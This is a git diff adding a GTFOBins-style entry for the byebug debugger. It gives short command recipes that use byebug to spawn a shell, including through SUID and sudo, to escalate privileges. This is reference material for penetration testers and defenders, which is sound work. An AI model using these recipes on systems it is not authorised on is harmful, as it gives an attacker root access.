diff --git a/_gtfobins/byebug.md b/_gtfobins/byebug.md
new file mode 100644
index 0000000..7805500
--- /dev/null
+++ b/_gtfobins/byebug.md
@@ -0,0 +1,21 @@
+---
+functions:
+  shell:
+    - code: |
+        TF=$(mktemp)
+        echo 'system("/bin/sh")' > $TF
+        byebug $TF
+        continue
+  limited-suid:
+    - code: |
+        TF=$(mktemp)
+        echo 'system("/bin/sh")' > $TF
+        ./byebug $TF
+        continue
+  sudo:
+    - code: |
+        TF=$(mktemp)
+        echo 'system("/bin/sh")' > $TF
+        sudo byebug $TF
+        continue
+---